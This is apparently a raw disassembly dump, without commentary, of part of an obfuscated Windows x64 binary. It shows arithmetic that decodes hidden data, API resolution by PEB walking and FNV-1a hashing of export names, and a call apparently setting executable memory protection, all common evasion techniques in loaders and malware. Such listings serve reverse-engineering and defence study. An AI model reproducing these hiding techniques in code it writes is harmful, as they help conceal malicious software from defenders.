jbe 0x14013a96d
lea ecx, [r9 - 0x41]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x39
jmp 0x14013a7aa
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x14013a8d3
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
jmp 0x14013ac77
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x14013a8f9
lea ecx, [r9 - 0x46]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
mov r10b, r9b
jmp 0x14013aadd
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x14013a920
lea edx, [r9 + 0x66]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013abfd
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x14013a943
lea ecx, [r9 + 0x12]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7e
jmp 0x14013abbe
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x14013a87b
mov r10b, r9b
lea ecx, [r10 - 0x42]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x14013ab89
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x14013a993
mov r10b, r9b
lea ecx, [r10 + 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x6d
jmp 0x14013ab89
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x14013a9b6
lea ecx, [r9 + 0x6b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x13
jmp 0x14013aba4
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x14013a9d9
lea ecx, [r9 - 0x3f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x47
jmp 0x14013abbe
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x14013a7aa
lea ecx, [r9 + 0x6d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 5
jmp 0x14013abfd
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x14013aa17
lea edx, [r9 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14013a780
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x14013aa3a
lea ecx, [r9 + 0x72]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1e
jmp 0x14013ac30
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x14013a7d9
mov r10b, r9b
lea ecx, [r10 - 0x38]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14013aadd
mov byte [rsp + r9 + 0x70], dil
jmp 0x14013ac83
mov r10b, r9b
lea edx, [r10 + 0x78]
mov al, dl
and al, r8b
add al, al
mov dil, byte [rsp + r9 + 0x70]
sub dil, al
sub dil, 0x48
add dil, dl
add dil, r8b
jmp 0x14013abde
mov r10b, r9b
lea edx, [r10 - 0x32]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14013aadd
lea ecx, [r9 + 0xd]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5b
jmp 0x14013ac77
mov r10b, r9b
lea ecx, [r10 + 0x61]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x59
add r10b, 0x79
mov al, r8b
and al, r10b
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x4f
add cl, r10b
movzx eax, cl
mov byte [rsp + r9 + 0x70], al
add r11, r15
add rax, r11
sub r9, rax
jmp 0x14013ac30
lea ecx, [r9 + 0xb]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4d
jmp 0x14013ac00
mov r10b, r9b
lea ecx, [r10 + 0x5f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x67
jmp 0x14013abde
lea ecx, [r9 - 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1b
jmp 0x14013aba4
mov r10b, r9b
lea ecx, [r10 + 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x14013ab89
mov r10b, r9b
lea ecx, [r10 - 0x4f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x29
sub r10b, 0x33
mov al, r8b
and al, r10b
add al, al
sub r8b, al
add r8b, 0x65
add r8b, r10b
mov byte [rsp + r9 + 0x70], r8b
add r11, r15
jmp 0x14013abbe
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
sub r9, r15
jmp 0x14013ac83
mov r10b, r9b
lea ecx, [r10 - 0x51]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x37
add r10b, 0x23
mov al, r8b
and al, r10b
add al, al
mov cl, dil
sub cl, al
add cl, 0xb
add cl, r8b
add cl, r10b
mov byte [rsp + r9 + 0x70], cl
add rbx, r11
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013ac83
movabs rcx, 0x2cb67834261dbe57
add rcx, r9
mov r8b, dl
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x61
lea edx, [r9 + 0x24]
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rsp + r9 + 0x70], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14013ac77
movabs rcx, 0xe7a0ae85b0783f01
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 7
movzx eax, byte [rsp + r9 + 0x70]
add rax, r11
add r9, rax
add r9, r15
jmp 0x14013a55a
sub r9b, 0x7f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x79
jmp 0x14013a547
lea rdx, [rbp + 0x158c654]
jmp 0x14013acbe
lea rdx, [rbp + 0x6b85ff]
jmp 0x14013acbe
lea rdx, [rsp + 0x70]
mov r9d, 0x40
mov r8, rsi
xor ecx, ecx
call r12
mov rdx, qword [0x140319e10]
xor r12d, r12d
test rdx, rdx
jne 0x14013ae34
mov esi, r12d
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, r13w
test esi, esi
je 0x14013ad45
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x14013ad37
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x14013ad26
cmp r9d, esi
jne 0x14013ae1f
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14013ae1f
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14013ae1f
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x14013ad9a
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x14013ad8d
cmp r8d, r14d
je 0x14013adaf
test ebx, ebx
jne 0x14013ad78
jmp 0x14013ae1f
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14013ae27
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14013ae27
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013adf0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013ade2
jmp 0x14013ae05
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x14013adf8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14013acfa
mov qword [0x140319e10], rdx
mov r13d, 0xcded1a85
mov ecx, 0x99
call rdx
mov rbx, qword [0x140319e48]
test rbx, rbx
jne 0x14013afa2
mov esi, r12d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013aeb6
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013aea8
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013ae97
cmp r8d, esi
jne 0x14013af83
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013af83
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013af83
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013af0a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013aeff
cmp edx, r14d
je 0x14013af20
test r11d, r11d
jne 0x14013aeea
jmp 0x14013af83
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14013af9b
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14013af9b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013af62
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14013af54
jmp 0x14013af77
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14013af6a
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14013af98
cmp qword [rax + 0x30], r12
jne 0x14013ae6b
mov rbx, r12
mov qword [0x140319e48], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x140319e40]
test rdx, rdx
jne 0x14013b116
mov esi, r12d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013b02a
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013b01c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013b00b
cmp r8d, esi
jne 0x14013b0f7
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013b0f7
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013b0f7
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013b07e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013b073
cmp edx, r14d
je 0x14013b094
test r11d, r11d
jne 0x14013b05e
jmp 0x14013b0f7
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013b10f
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14013b10f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013b0d6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013b0c8
jmp 0x14013b0eb
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013b0de
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14013b10c
cmp qword [rax + 0x30], r12
jne 0x14013afdf
mov rdx, r12
mov qword [0x140319e40], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e38]
test rdx, rdx
jne 0x14013b281
mov esi, r12d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013b195
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013b187
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013b176
cmp r8d, esi
jne 0x14013b262
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013b262
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013b262
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013b1e9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013b1de
cmp edx, r14d
je 0x14013b1ff
test r11d, r11d
jne 0x14013b1c9
jmp 0x14013b262
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013b27a
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14013b27a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013b241
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013b233
jmp 0x14013b256
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013b249
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14013b277
cmp qword [rax + 0x30], r12
jne 0x14013b14a
mov rdx, r12
mov qword [0x140319e38], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e30]
test rdx, rdx
jne 0x14013b3ec
mov esi, r12d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013b300
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013b2f2
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013b2e1
cmp r8d, esi
jne 0x14013b3cd
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013b3cd
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013b3cd
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013b354
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013b349
cmp edx, r14d
je 0x14013b36a
test r11d, r11d
jne 0x14013b334
jmp 0x14013b3cd
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013b3e5
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14013b3e5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013b3ac
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013b39e
jmp 0x14013b3c1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013b3b4
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14013b3e2
cmp qword [rax + 0x30], r12
jne 0x14013b2b5
mov rdx, r12
mov qword [0x140319e30], rdx
xor ecx, ecx
call rdx
cmp qword [0x140319e28], r12
jne 0x14013b556
mov esi, r12d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013b468
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013b45a
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013b449
cmp r8d, esi
jne 0x14013b537
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14013b537
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14013b537
mov ebx, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14013b4bc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013b4b1
cmp edx, r14d
je 0x14013b4d2
test r9d, r9d
jne 0x14013b49c
jmp 0x14013b537
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14013b54f
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14013b54f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013b514
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14013b506
jmp 0x14013b52a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14013b51d
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14013b54c
cmp qword [rax + 0x30], r12
jne 0x14013b41d
mov r9, r12
mov qword [0x140319e28], r9
mov r8, qword [0x140319e58]
test r8, r8
jne 0x14013b5ce
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r9d, 0x811c9dc5
cmp rcx, rdx
je 0x14013b5b3
movsx eax, byte [rcx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013b594
cmp r9d, 0x610c0de3
je 0x14013b61f
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x14013b5c4
cmp qword [rax + 0x30], r12
jne 0x14013b579
mov r8, r12
mov qword [0x140319e58], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r12d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
inc rdx
test al, al
je 0x14013b61a
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x14013b5fe
cmp ecx, 0xe463da3c
je 0x14013b625
inc r9d
jmp 0x14013b5e2
mov r8, qword [r8 + 0x30]
jmp 0x14013b5c7
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1403192c0]
test r10, r10
jne 0x14013b7b0
xor esi, esi
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013b6c3
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013b6b5
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013b6a4
cmp r8d, esi
jne 0x14013b790
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14013b790
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14013b790
mov ebx, dword [r11 + 0x20]
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013b717
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013b70c
cmp edx, r14d
je 0x14013b72d
test r10d, r10d
jne 0x14013b6f7
jmp 0x14013b790
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14013b7a9
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14013b7a9
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x14013b76d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x14013b75f
jmp 0x14013b783
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14013b776
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14013b7a6
cmp qword [rax + 0x30], 0
jne 0x14013b678
xor r10d, r10d
mov qword [0x1403192c0], r10
lea r9, [rbp + 0x210]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x140319e50]
test r8, r8
jne 0x14013b92f
xor esi, esi
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013b842
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013b834
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013b823
cmp r8d, esi
jne 0x14013b90f
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013b90f
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013b90f
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013b896
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013b88b
cmp edx, r14d
je 0x14013b8ac
test r11d, r11d
jne 0x14013b876
jmp 0x14013b90f
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14013b928
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14013b928
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x14013b8ec
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x14013b8de
jmp 0x14013b902
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x14013b8f5
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14013b925
cmp qword [rax + 0x30], 0
jne 0x14013b7f7
xor r8d, r8d
mov qword [0x140319e50], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x340], eax
mov eax, dword [0x140319758]
mov dword [rbp + 0x344], eax
lea rdx, [rbp + 0x340]
lea rcx, [0x140319798]
call fcn.1401644ec
test eax, eax
jne 0x14013dd16
mov r15, qword [0x140319e18]
test r15, r15
jne 0x14013baed
mov esi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013b9f1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013b9e3
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013b9d2
cmp r8d, esi
jne 0x14013bace
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013bace
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013bace
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013ba45
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013ba3a
cmp edx, dword [rsp + 0x44]
je 0x14013ba5c
test r11d, r11d
jne 0x14013ba25
jmp 0x14013bace
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r15d, dword [r8 + rdx*4]
add r15, r9
cmp r15, r10
jbe 0x14013bae6
lea rcx, [r10 + rax]
cmp r15, rcx
jae 0x14013bae6
mov eax, 0x811c9dc5
mov esi, eax
mov ecx, eax
mov dword [rsp + 0x44], eax
jmp 0x14013baa1
movsx eax, al
xor eax, esi
